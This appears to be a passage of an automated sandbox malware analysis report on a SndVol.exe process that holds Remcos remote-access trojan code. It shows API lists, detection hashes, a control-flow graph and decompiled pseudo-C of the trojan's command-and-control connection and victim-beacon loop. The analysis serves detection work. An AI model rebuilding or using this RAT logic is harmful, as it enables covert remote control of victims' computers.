                                    0x0040ee3d
                                    0x00000000
                                    0x0040ee3d
                                    0x0040ee3b
                                    0x0040ee16
                                    0x0040eb5a
                                    0x0040eb5a
                                    0x0040ee3f
                                    0x0040ee3f
                                    0x00000000
                                    0x0040ee3f
                                    0x0040eaab
                                    0x0040eac5
                                    0x0040eace
                                    0x0040ead7
                                    0x0040eaeb
                                    0x0040eaf4
                                    0x0040eaf6
                                    0x0040f2ae
                                    0x0040f2b8
                                    0x0040f2bd
                                    0x0040f2db
                                    0x0040f2e5
                                    0x0040f2ea
                                    0x0040f2ee
                                    0x0040f2f3
                                    0x0040f2f3
                                    0x0040f2f8
                                    0x0040f2fd
                                    0x0040f2fe
                                    0x0040f2ff
                                    0x0040f304
                                    0x0040f309
                                    0x00410625
                                    0x0040e7db
                                    0x0040e7e7
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0040eaf6
                                    0x0040e997
                                    0x0040e997
                                    0x0040e998
                                    0x0040e9a0
                                    0x0040e9a4
                                    0x0040e9ab
                                    0x0040e9b5
                                    0x0040e9bc
                                    0x0040e9be
                                    0x0040e9c2
                                    0x0040e9c7
                                    0x0040e9cb
                                    0x0040e9d0
                                    0x0040e9d4
                                    0x0040e9db
                                    0x0040ee40
                                    0x0040ee44
                                    0x0040ee51
                                    0x0040ee51

                                    APIs
                                      • Part of subcall function 0041CAA2: LoadLibraryA.KERNEL32(Psapi,GetProcessImageFileNameW,?,?,?,?,0040E92F), ref: 0041CAB7
                                      • Part of subcall function 0041CAA2: GetProcAddress.KERNEL32(00000000), ref: 0041CAC0
                                      • Part of subcall function 0041CAA2: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E92F), ref: 0041CAD7
                                      • Part of subcall function 0041CAA2: GetProcAddress.KERNEL32(00000000), ref: 0041CADA
                                      • Part of subcall function 0041CAA2: LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0040E92F), ref: 0041CAEC
                                      • Part of subcall function 0041CAA2: GetProcAddress.KERNEL32(00000000), ref: 0041CAEF
                                      • Part of subcall function 0041CAA2: LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,0040E92F), ref: 0041CB00
                                      • Part of subcall function 0041CAA2: GetProcAddress.KERNEL32(00000000), ref: 0041CB03
                                      • Part of subcall function 0041CAA2: LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,0040E92F), ref: 0041CB15
                                      • Part of subcall function 0041CAA2: GetProcAddress.KERNEL32(00000000), ref: 0041CB18
                                      • Part of subcall function 0041CAA2: LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,0040E92F), ref: 0041CB24
                                      • Part of subcall function 0041CAA2: GetProcAddress.KERNEL32(00000000), ref: 0041CB27
                                      • Part of subcall function 0041CAA2: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E92F), ref: 0041CB38
                                      • Part of subcall function 0041CAA2: GetProcAddress.KERNEL32(00000000), ref: 0041CB3B
                                      • Part of subcall function 0041CAA2: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E92F), ref: 0041CB4C
                                      • Part of subcall function 0041CAA2: GetProcAddress.KERNEL32(00000000), ref: 0041CB4F
                                      • Part of subcall function 0041CAA2: LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0040E92F), ref: 0041CB60
                                      • Part of subcall function 0041CAA2: GetProcAddress.KERNEL32(00000000), ref: 0041CB63
                                      • Part of subcall function 0041CAA2: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E92F), ref: 0041CB74
                                      • Part of subcall function 0041CAA2: GetProcAddress.KERNEL32(00000000), ref: 0041CB77
                                      • Part of subcall function 0041CAA2: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E92F), ref: 0041CB88
                                      • Part of subcall function 0041CAA2: GetProcAddress.KERNEL32(00000000), ref: 0041CB8B
                                      • Part of subcall function 0041CAA2: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E92F), ref: 0041CB9C
                                      • Part of subcall function 0041CAA2: GetProcAddress.KERNEL32(00000000), ref: 0041CB9F
                                      • Part of subcall function 0041CAA2: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E92F), ref: 0041CBB0
                                      • Part of subcall function 0041CAA2: GetProcAddress.KERNEL32(00000000), ref: 0041CBB3
                                      • Part of subcall function 0041CAA2: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E92F), ref: 0041CBC4
                                      • Part of subcall function 0041CAA2: GetProcAddress.KERNEL32(00000000), ref: 0041CBC7
                                      • Part of subcall function 0041CAA2: LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,0040E92F), ref: 0041CBD5
                                    • GetModuleFileNameW.KERNEL32(00000000,C:\Windows\SysWOW64\SndVol.exe,00000104), ref: 0040E93C
                                      • Part of subcall function 00410E85: __EH_prolog.LIBCMT ref: 00410E8A
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
                                    • String ID: SG$ SG$8SG$8SG$Access Level: $Administrator$C:\Windows\SysWOW64\SndVol.exe$Exe$Inj$PSG$Remcos Agent initialized$Software\$User$dMG$del$del$exepath$licence$license_code.txt$Cgt$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG
                                    • API String ID: 2830904901-3894978299
                                    • Opcode ID: af7ca4613eb4312ccb53950dcd5087a956a5ef5be18528502d673c7eabd7205f
                                    • Instruction ID: 0accb0c92070d9e1005cfadf8b9be5db15e9a56df5562b2076e195b24d4b12b6
                                    • Opcode Fuzzy Hash: af7ca4613eb4312ccb53950dcd5087a956a5ef5be18528502d673c7eabd7205f
                                    • Instruction Fuzzy Hash: E432D860B043412ADA14B7729C57B7E26998F81748F50483FB9467B2E3EEBC8D45839E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00414E78 Relevance: 48.1, APIs: 5, Strings: 22, Instructions: 809sleepnetworkCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 448 414e78-414ec0 call 4020df call 41b805 call 4020df call 401e65 call 401fab call 43b9fc 461 414ec2-414ec9 Sleep 448->461 462 414ecf-414f1b call 402093 call 401e65 call 4020f6 call 41bd6d call 40489e call 401e65 call 40b90b 448->462 461->462 477 414f1d-414f8c call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 40473d 462->477 478 414f8f-41502a call 402093 call 401e65 call 4020f6 call 41bd6d call 401e65 * 2 call 406c1e call 402f10 call 401fe2 call 401fd8 * 2 call 401e65 call 405b05 462->478 477->478 531 41503a-415041 478->531 532 41502c-415038 478->532 533 415046-4150d8 call 405aa6 call 40531e call 406383 call 402f10 call 402093 call 41b441 call 401fd8 * 2 call 401e65 call 401fab call 401e65 call 401fab call 414e37 531->533 532->533 560 415123-415131 call 40482d 533->560 561 4150da-41511e WSAGetLastError call 41ca33 call 4052fd call 402093 call 41b441 call 401fd8 533->561 567 415133-415159 call 402093 * 2 call 41b441 560->567 568 41515e-415173 call 404f51 call 4048c8 560->568 583 4159f1-4159f3 call 404e26 561->583 567->583 568->583 584 415179-4152cc call 401e65 * 2 call 40531e call 406383 call 402f10 call 406383 call 402f10 call 402093 call 41b441 call 401fd8 * 4 call 41b732 call 41450b call 40905c call 441dd1 call 401e65 call 4020f6 call 40247c call 401fab * 2 call 413646 568->584 589 4159f8-415a03 call 4021fa 583->589 648 4152e0-415307 call 401fab call 4134f4 584->648 649 4152ce-4152db call 405aa6 584->649 597 415a05-415a25 call 401e65 call 401fab call 43b9fc Sleep 589->597 598 415a2b-415a33 call 401e8d 589->598 597->598 598->478 655 415309-41530b 648->655 656 41530e-4153d3 call 40417e call 40dcd7 call 41bb94 call 41bc70 call 41bae0 call 401e65 GetTickCount call 41bae0 call 41ba38 call 41bae0 * 2 call 41b9e8 648->656 649->648 655->656 679 4153d8-415964 call 41bc70 * 5 call 40f81f call 41bc70 call 402f31 call 402ea1 call 402f10 call 402ea1 call 402f10 * 3 call 402ea1 call 402f10 call 406383 call 402f10 call 406383 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 406383 call 402f10 * 5 call 402ea1 call 402f10 call 402ea1 call 402f10 * 7 call 402ea1 call 404aa1 call 401fd8 * 50 call 401f09 call 401fd8 * 6 call 401f09 call 404c10 656->679 902 415966-41596d 679->902 903 415978-41597f 679->903 902->903 904 41596f-415971 902->904 905 415981-415986 call 40af9f 903->905 906 41598b-4159bd call 405a6b call 402093 * 2 call 41b441 903->906 904->903 905->906 917 4159d1-4159ec call 401fd8 * 2 call 401f09 906->917 918 4159bf-4159ca 906->918 917->583 918->917
                                    C-Code - Quality: 89%
                                    			E00414E78() {
				char _v16;
				char _v40;
				char _v64;
				char _v76;
				char _v100;
				char _v124;
				char _v136;
				void* _v159;
				char _v160;
				char _v184;
				char _v208;
				char _v232;
				char _v256;
				char _v280;
				char _v304;
				char _v328;
				char _v352;
				char _v376;
				char _v400;
				char _v424;
				char _v448;
				char _v472;
				char _v496;
				char _v520;
				char _v544;
				char _v568;
				char _v592;
				char _v616;
				char _v640;
				char _v664;
				char _v688;
				char _v712;
				char _v736;
				char _v760;
				char _v784;
				char _v808;
				char _v832;
				char _v856;
				char _v880;
				char _v904;
				char _v928;
				char _v952;
				char _v976;
				char _v1000;
				char _v1024;
				char _v1048;
				char _v1072;
				char _v1096;
				char _v1120;
				char _v1144;
				char _v1168;
				char _v1192;
				char _v1216;
				char _v1240;
				char _v1264;
				char _v1288;
				char _v1312;
				char _v1336;
				char _v1360;
				char _v1384;
				char _v1408;
				char _v1432;
				char _v1456;
				char _v1480;
				char _v1504;
				char _v1528;
				char _v1552;
				char _v1576;
				char _v1600;
				char _v2604;
				signed int _t179;
				void* _t181;
				long _t186;
				void* _t188;
				void* _t191;
				void* _t199;
				char* _t210;
				void* _t212;
				void* _t213;
				struct _SECURITY_ATTRIBUTES* _t214;
				struct _SECURITY_ATTRIBUTES* _t216;
				void* _t218;
				long _t223;
				void* _t224;
				void* _t225;
				void* _t239;
				void* _t247;
				void* _t248;
				struct _SECURITY_ATTRIBUTES* _t251;
				intOrPtr* _t254;
				void* _t256;
				void* _t257;
				void* _t260;
				void* _t261;
				void* _t262;
				void* _t265;
				void* _t267;
				void* _t268;
				void* _t269;
				void* _t270;
				void* _t271;
				void* _t272;
				void* _t273;
				void* _t275;
				void* _t276;
				void* _t277;
				intOrPtr* _t382;
				void* _t398;
				void* _t404;
				void* _t406;
				void* _t408;
				void* _t410;
				char* _t412;
				long _t416;
				void* _t417;
				struct _SECURITY_ATTRIBUTES* _t418;
				char* _t446;
				char* _t490;
				void* _t683;
				void* _t695;
				void* _t755;
				signed short _t757;
				void* _t766;
				void* _t767;
				void* _t768;
				void* _t769;
				void* _t770;
				void* _t771;
				void* _t772;
				void* _t773;
				void* _t774;
				void* _t775;
				void* _t776;
				void* _t777;
				void* _t781;
				void* _t782;
				void* _t783;
				void* _t784;
				void* _t785;
				void* _t786;
				void* _t787;
				void* _t788;
				void* _t789;
				void* _t790;
				long _t792;

				_push(_t417);
				_push(_t759);
				E004020DF(_t417,  &_v100);
				E0041B805( &_v280, _t683);
				E004020DF(_t417,  &_v1600);
				_t755 = 0x4750e4;
				_t179 = E0043B9FC(_t177, E00401FAB(E00401E65(0x4750e4, _t683, _t766, _t790, 0x29)));
				if(_t179 != 0) {
					_t416 = _t179 * 0x3e8;
					_t792 = _t416;
					Sleep(_t416);
				}
				_t768 = _t767 - 0x18;
				E00402093(_t417, _t768, _t683, _t766, 0x46c668);
				_t181 = E00401E65(_t755, _t683, _t766, _t792, 0);
				_t769 = _t768 - 0x18;
				E004020F6(_t417, _t769, _t683, _t792, _t181);
				E0041BD6D( &_v76, _t683);
				_t770 = _t769 + 0x30;
				_t418 = 0; // executed
				E0040489E(); // executed
				E00401E65(_t755, _t683, _t766, _t792, 0x38);
				_t684 = 0x4660a4;
				_t186 = E0040B90B(_t792);
				_t793 = _t186;
				if(_t186 != 0) {
					E00401E65(_t755, 0x4660a4, _t766, _t793, 0x38);
					_t404 = E0040247C();
					_t406 = E00401FAB(E00401E65(_t755, 0x4660a4, _t766, _t793, 0x38));
					E00401E65(_t755, 0x4660a4, _t766, _t793, 0x37);
					_t408 = E0040247C();
					_t410 = E00401FAB(E00401E65(_t755, 0x4660a4, _t766, _t793, 0x37));
					E00401E65(_t755, 0x4660a4, _t766, _t793, 0x36);
					_t412 = E0040247C();
					_t759 = _t412;
					E00401FAB(E00401E65(_t755, _t684, _t766, _t793, 0x36));
					_t684 = _t412;
					E0040473D(0, _t412, _t766, _t410, _t408, _t406, _t404);
					_t770 = _t770 + 0x10;
				}
				L4:
				_t771 = _t770 - 0x18;
				 *0x4755c9 = 1;
				E00402093(_t418, _t771, _t684, _t766, 0x46c66c);
				_t188 = E00401E65( &_v76, _t684, _t766, _t793, _t418);
				_t772 = _t771 - 0x18;
				E004020F6(_t418, _t772, _t684, _t793, _t188);
				E0041BD6D( &_v16, _t684);
				_t773 = _t772 + 0x30;
				_t191 = E00401E65( &_v16, _t684, _t766, _t793, 1);
				E00401FE2(0x4755cc, _t193, _t759, E00402F10(_t418,  &_v40, E00406C1E( &_v64, E00401E65( &_v16, _t684, _t766, _t793, 0), _t766, 0x46c66c), _t766, _t793, _t191));
				E00401FD8();
				E00401FD8();
				E00401E65( &_v16, _t193, _t766, _t793, 2);
				_t687 = "0";
				_t199 = E00405B05("0");
				_t446 =  &_v100;
				_t794 = _t199;
				if(_t199 == 0) {
					 *0x472ae4 = 1;
					_push("TLS On ");
				} else {
					 *0x472ae4 = 0;
					_push("TLS Off");
				}
				L00405AA6(_t418, _t446, _t687);
				_t774 = _t773 - 0x18;
				E00402F10(_t418, _t774, E00406383(_t418,  &_v40, E0040531E( &_v64, "Connecting  | ", _t766,  &_v100), _t755, _t766, _t794, " | "), _t766, _t794, 0x4755cc);
				_t775 = _t774 - 0x14;
				E00402093(_t418, _t775, _t203, _t766, "i");
				E0041B441(_t418, _t755);
				_t770 = _t775 + 0x30;
				E00401FD8();
				E00401FD8();
				_t210 = E00401FAB(E00401E65( &_v16, _t203, _t766, _t794, 1));
				_t212 = E00401FAB(E00401E65( &_v16, _t203, _t766, _t794, 0));
				_t684 = _t210;
				_t213 = E00414E37(_t212, _t210,  &_v64,  &_v64);
				_t795 = _t213;
				if(_t213 == 0) {
					_t759 = 0x475598;
					_t214 = E0040482D(0x475598);
					__eflags = _t214;
					if(_t214 != 0) {
						E00404F51(0x475598, 0x3c, 0); // executed
						_t216 = E004048C8(0x475598, 0x475598, 0x475598); // executed
						__eflags = _t216;
						if(__eflags != 0) {
							_t224 = E00401E65( &_v16, _t684, _t766, __eflags, 1);
							_t776 = _t770 - 0x18;
							_t225 = E00401E65( &_v16, _t684, _t766, __eflags, 0);
							_t695 = E00406383(_t418,  &_v124, E00402F10(_t418,  &_v208, E00406383(_t418,  &_v232, E0040531E( &_v256, "Connected   | ", _t766,  &_v100), _t755, _t766, __eflags, " | "), _t766, __eflags, _t225), _t755, _t766, __eflags, 0x46c66c);
							E00402F10(_t418, _t776, _t695, _t766, __eflags, _t224);
							_t777 = _t776 - 0x14;
							E00402093(_t418, _t777, _t695, _t766, "i");
							E0041B441(_t418, _t755);
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							_v160 = 0;
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd"); // executed
							_t239 = E0041B732( &_v256); // executed
							_push(_t695);
							E0041450B( &_v160, "%I64u", _t239);
							E0040905C(_t418,  &_v40, _t695, __eflags, 0x475158);
							E00441DD1( &_v40,  *0x4719d0,  &_v136, 0xa);
							E004020F6(_t418,  &_v184, _t695, __eflags, E00401E65(0x4750e4, _t695, _t766, __eflags, 1));
							_t247 = E0040247C();
							_t248 = E00401FAB(0x475338);
							_t490 = 0x4752f0;
							_t696 = E00401FAB(0x4752f0); // executed
							_t251 = E00413646(_t250, "name",  &_v2604, 0x104, _t248, _t247); // executed
							_t781 = _t777 + 0x60;
							__eflags = _t251;
							if(_t251 != 0) {
								_t490 =  &_v184;
								L00405AA6(_t418, _t490, _t696,  &_v2604);
							}
							_push(_t490);
							E004134F4( &_v64, 0x80000001, E00401FAB(0x4752f0), "hlight");
							_t254 =  *0x472d58; // 0x0
							_t782 = _t781 + 0xc;
							_t757 = 0;
							__eflags = _t254;
							if(__eflags != 0) {
								_t757 =  *_t254() & 0x0000ffff;
							}
							E0040417E(_t418,  &_v124, 0x80000001, _t766, "C:\Windows\SysWOW64\SndVol.exe"); // executed
							_t256 = E0040DCD7(__eflags); // executed
							_t257 = E0041BB94( &_v1576, _t256);
							_t783 = _t782 - 0x18;
							_t260 = E0041BC70(_t418,  &_v1552, 0x4752d8);
							_t261 = E0041BAE0(_t418,  &_v1528, _t757 & 0x0000ffff);
							_t262 = E00401E65( &_v16, _t757 & 0x0000ffff, _t766, __eflags, 0);
							_t265 = E0041BAE0(_t418,  &_v1504, GetTickCount());
							_t267 = E0041BAE0(_t418,  &_v1480, E0041BA38( &_v1504));
							_t268 = E0041BAE0(_t418,  &_v1456,  *0x47513c);
							_t269 = E0041B9E8(_t418,  &_v1432, 0x474ee0); // executed
							_t270 = E0041BC70(_t418,  &_v1408, _t269);
							_t271 = E0041BC70(_t418,  &_v1384, 0x474d64);
							_t272 = E0041BC70(_t418,  &_v1360,  &_v124);
							_t273 = E0041BC70(_t418,  &_v1336,  &_v40);
							_t275 = E0041BC70(_t418,  &_v1312, 0x4756c8);
							_t276 = E0040F81F( &_v1288);
							_t277 = E0041BC70(_t418,  &_v1264, 0x475350);
							_t684 = E00402F10(_t418,  &_v256, E00402F10(_t418,  &_v232, E00402F10(_t418,  &_v208, E00402F10(_t418,  &_v304, E00402F10(_t418,  &_v328, E00402F10(_t418,  &_v352, E00402F10(_t418,  &_v376, E00402EA1( &_v400, E00402F10(_t418,  &_v424, E00402EA1( &_v448, E00402F10(_t418,  &_v472, E00402F10(_t418,  &_v496, E00402F10(_t418,  &_v520, E00402F10(_t418,  &_v544, E00402F10(_t418,  &_v568, E00406383(_t418,  &_v592, E00402F10(_t418,  &_v616, E00402EA1( &_v640, E00402F10(_t418,  &_v664, E00402EA1( &_v688, E00402F10(_t418,  &_v712, E00402EA1( &_v736, E00402F10(_t418,  &_v760, E00402EA1( &_v784, E00402F10(_t418,  &_v808, E00402EA1( &_v832, E00402F10(_t418,  &_v856, E00402EA1( &_v880, E00402F10(_t418,  &_v904, E00402EA1( &_v928, E00402F10(_t418,  &_v952, E00406383(_t418,  &_v976, E00402F10(_t418,  &_v1000, E00406383(_t418,  &_v1024, E00402F10(_t418,  &_v1048, E00402EA1( &_v1072, E00402F10(_t418,  &_v1096, E00402F10(_t418,  &_v1120, E00402F10(_t418,  &_v1144, E00402EA1( &_v1168, E00402F10(_t418,  &_v1192, E00402EA1( &_v1216, E00402F31( &_v1240,  &_v184, _t766, 0x474ee0), _t277), _t766, __eflags, 0x474ee0), _t276), _t766, __eflags, 0x474ee0), _t766, __eflags, 0x475a00), _t766, __eflags, 0x474ee0), _t275), _t766, __eflags, 0x474ee0), 0x474ee0, _t766, __eflags,  &_v160), _t766, __eflags, 0x474ee0), 0x474ee0, _t766, __eflags, "4.9.1 Pro"), _t766, __eflags, 0x474ee0), _t273), _t766, __eflags, 0x474ee0), _t272), _t766, __eflags, 0x474ee0), _t271), _t766, __eflags, 0x474ee0), _t270), _t766, __eflags, 0x474ee0), _t268), _t766, __eflags, 0x474ee0), _t267), _t766, __eflags, 0x474ee0), _t265), _t766, __eflags, 0x474ee0), 0x474ee0, _t766, __eflags,  &_v136), _t766, __eflags, 0x474ee0), _t766, __eflags, _t262), _t766, __eflags, 0x474ee0), _t766, __eflags, 0x475320), _t766, __eflags, 0x474ee0), _t261), _t766, __eflags, 0x474ee0), _t260), _t766, __eflags, 0x474ee0), _t766, __eflags,  &_v280), _t766, __eflags, 0x474ee0), _t766, __eflags, 0x475380), _t766, __eflags, 0x474ee0), _t766, __eflags,  &_v64), _t766, __eflags, 0x474ee0);
							E00402EA1(_t783, _t320, _t257);
							_t759 = 0x475598;
							_push(0x4b);
							E00404AA1(0x475598, _t320, __eflags);
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401F09();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401F09();
							E00404C10(0x475598, _t320, E00415A38, 1);
							_t382 =  *0x472d5c; // 0x0
							__eflags = _t382;
							if(_t382 != 0) {
								__eflags =  *0x472d4a;
								if( *0x472d4a != 0) {
									_t382 =  *_t382();
									 *0x472d4a = 0;
								}
							}
							__eflags =  *0x47513a;
							if( *0x47513a != 0) {
								_t382 = E0040AF9F(_t418, 0x4750f0, _t684);
							}
							E00405A6B(_t382);
							_t784 = _t783 - 0x18;
							E00402093(_t418, _t784, _t684, _t766, "Disconnected");
							_t785 = _t784 - 0x18;
							E00402093(_t418, _t785, _t684, _t766, "!");
							E0041B441(_t418, 0x474ee0);
							_t770 = _t785 + 0x30;
							__eflags =  *0x474ad3;
							if( *0x474ad3 != 0) {
								__eflags = 0;
								CreateThread(0, 0, E0041AC69, 0, 0, 0);
							}
							E00401FD8();
							E00401FD8();
							E00401F09();
							_t755 = 0x4750e4;
						}
					} else {
						_t786 = _t770 - 0x18;
						E00402093(_t418, _t786, _t684, _t766, "Connection Error: Unable to create socket");
						_t787 = _t786 - 0x18;
						E00402093(_t418, _t787, _t684, _t766, "E");
						E0041B441(_t418, _t755);
						_t770 = _t787 + 0x30;
					}
				} else {
					__imp__#111();
					_t398 = E0041CA33( &_v40, _t213);
					_t788 = _t770 - 0x18;
					_t684 = "Connection Error: ";
					E004052FD(_t418, _t788, "Connection Error: ", _t766, _t795, _t398);
					_t789 = _t788 - 0x14;
					E00402093(_t418, _t789, "Connection Error: ", _t766, "E");
					E0041B441(_t418, _t755);
					_t770 = _t789 + 0x30;
					E00401FD8();
					_t759 = 0x475598;
				}
				E00404E26(_t684);
				_t418 =  &(_t418->nLength);
				_t218 = E004021FA( &_v76);
				_t796 = _t418 - _t218;
				if(_t418 >= _t218) {
					_t418 = 0;
					_t223 = E0043B9FC(_t220, E00401FAB(E00401E65(_t755, _t684, _t766, _t796, 2))) * 0x3e8;
					_t793 = _t223;
					Sleep(_t223);
				}
				E00401E8D( &_v16, _t684);
				goto L4;
			}




















































































































































                                    0x00414e84
                                    0x00414e85
                                    0x00414e87
                                    0x00414e92
                                    0x00414e9d
                                    0x00414ea2
                                    0x00414eb8
                                    0x00414ec0
                                    0x00414ec2
                                    0x00414ec2
                                    0x00414ec9
                                    0x00414ec9
                                    0x00414ecf
                                    0x00414ed9
                                    0x00414ee2
                                    0x00414ee7
                                    0x00414eed
                                    0x00414ef5
                                    0x00414efa
                                    0x00414efd
                                    0x00414eff
                                    0x00414f08
                                    0x00414f0d
                                    0x00414f14
                                    0x00414f19
                                    0x00414f1b
                                    0x00414f21
                                    0x00414f28
                                    0x00414f39
                                    0x00414f43
                                    0x00414f4a
                                    0x00414f5b
                                    0x00414f65
                                    0x00414f6c
                                    0x00414f75
                                    0x00414f7e
                                    0x00414f83
                                    0x00414f87
                                    0x00414f8c
                                    0x00414f8c
                                    0x00414f8f
                                    0x00414f8f
                                    0x00414f92
                                    0x00414fa0
                                    0x00414fa9
                                    0x00414fae
                                    0x00414fb4
                                    0x00414fbc
                                    0x00414fc1
                                    0x00414fc9
                                    0x00414ffa
                                    0x00415002
                                    0x0041500a
                                    0x00415014
                                    0x00415019
                                    0x00415020
                                    0x00415025
                                    0x00415028
                                    0x0041502a
                                    0x0041503a
                                    0x00415041
                                    0x0041502c
                                    0x0041502c
                                    0x00415033
                                    0x00415033
                                    0x00415046
                                    0x0041504b
                                    0x0041507b
                                    0x00415080
                                    0x0041508a
                                    0x0041508f
                                    0x00415094
                                    0x0041509a
                                    0x004150a2
                                    0x004150b5
                                    0x004150c8
                                    0x004150cd
                                    0x004150d1
                                    0x004150d6
                                    0x004150d8
                                    0x00415123
                                    0x0041512a
                                    0x0041512f
                                    0x00415131
                                    0x00415164
                                    0x0041516c
                                    0x00415171
                                    0x00415173
                                    0x0041517e
                                    0x00415183
                                    0x00415193
                                    0x004151da
                                    0x004151de
                                    0x004151e3
                                    0x004151ed
                                    0x004151f2
                                    0x004151fd
                                    0x00415208
                                    0x00415213
                                    0x0041521e
                                    0x00415223
                                    0x00415232
                                    0x00415233
                                    0x00415234
                                    0x00415235
                                    0x00415236
                                    0x00415237
                                    0x0041523c
                                    0x0041524a
                                    0x0041525a
                                    0x0041526e
                                    0x00415289
                                    0x00415295
                                    0x0041529d
                                    0x004152b9
                                    0x004152c0
                                    0x004152c2
                                    0x004152c7
                                    0x004152ca
                                    0x004152cc
                                    0x004152d5
                                    0x004152db
                                    0x004152db
                                    0x004152e0
                                    0x004152f6
                                    0x004152fb
                                    0x00415300
                                    0x00415303
                                    0x00415305
                                    0x00415307
                                    0x0041530b
                                    0x0041530b
                                    0x00415316
                                    0x0041531b
                                    0x00415328
                                    0x0041532d
                                    0x00415357
                                    0x0041536b
                                    0x00415382
                                    0x0041539f
                                    0x004153b3
                                    0x004153c6
                                    0x004153d3
                                    0x004153e0
                                    0x004153f2
                                    0x00415402
                                    0x00415412
                                    0x00415432
                                    0x00415445
                                    0x00415457
                                    0x004156bc
                                    0x004156c0
                                    0x004156c6
                                    0x004156cb
                                    0x004156cf
                                    0x004156da
                                    0x004156e5
                                    0x004156f0
                                    0x004156fb
                                    0x00415706
                                    0x00415711
                                    0x0041571c
                                    0x00415727
                                    0x00415732
                                    0x0041573d
                                    0x00415748
                                    0x00415753
                                    0x0041575e
                                    0x00415769
                                    0x00415774
                                    0x0041577f
                                    0x0041578a
                                    0x00415795
                                    0x004157a0
                                    0x004157ab
                                    0x004157b6
                                    0x004157c1
                                    0x004157cc
                                    0x004157d7
                                    0x004157e2
                                    0x004157ed
                                    0x004157f8
                                    0x00415803
                                    0x0041580e
                                    0x00415819
                                    0x00415824
                                    0x0041582f
                                    0x0041583a
                                    0x00415845
                                    0x00415850
                                    0x0041585b
                                    0x00415866
                                    0x00415871
                                    0x0041587c
                                    0x00415887
                                    0x00415892
                                    0x0041589d
                                    0x004158a8
                                    0x004158b3
                                    0x004158be
                                    0x004158c9
                                    0x004158d4
                                    0x004158df
                                    0x004158ea
                                    0x004158f5
                                    0x00415900
                                    0x0041590b
                                    0x00415916
                                    0x00415921
                                    0x0041592c
                                    0x00415937
                                    0x00415942
                                    0x0041594a
                                    0x00415958
                                    0x0041595d
                                    0x00415962
                                    0x00415964
                                    0x00415966
                                    0x0041596d
                                    0x0041596f
                                    0x00415971
                                    0x00415971
                                    0x0041596d
                                    0x00415978
                                    0x0041597f
                                    0x00415986
                                    0x00415986
                                    0x0041598b
                                    0x00415990
                                    0x0041599a
                                    0x0041599f
                                    0x004159a9
                                    0x004159ae
                                    0x004159b3
                                    0x004159b6
                                    0x004159bd
                                    0x004159bf
                                    0x004159cb
                                    0x004159cb
                                    0x004159d4
                                    0x004159df
                                    0x004159e7
                                    0x004159ec
                                    0x004159ec
                                    0x00415133
                                    0x00415133
                                    0x0041513d
                                    0x00415142
                                    0x0041514c
                                    0x00415151
                                    0x00415156
                                    0x00415156
                                    0x004150da
                                    0x004150da
                                    0x004150e5
                                    0x004150ea
                                    0x004150ed
                                    0x004150f5
                                    0x004150fa
                                    0x00415104
                                    0x00415109
                                    0x0041510e
                                    0x00415114
                                    0x00415119
                                    0x00415119
                                    0x004159f3
                                    0x004159fb
                                    0x004159fc
                                    0x00415a01
                                    0x00415a03
                                    0x00415a09
                                    0x00415a1d
                                    0x00415a1d
                                    0x00415a25
                                    0x00415a25
                                    0x00415a2e
                                    0x00000000

                                    APIs
                                    • Sleep.KERNEL32(00000000,00000029,004752F0,004750E4,00000000), ref: 00414EC9
                                    • WSAGetLastError.WS2_32(00000000,00000001), ref: 004150DA
                                    • Sleep.KERNEL32(00000000,00000002), ref: 00415A25
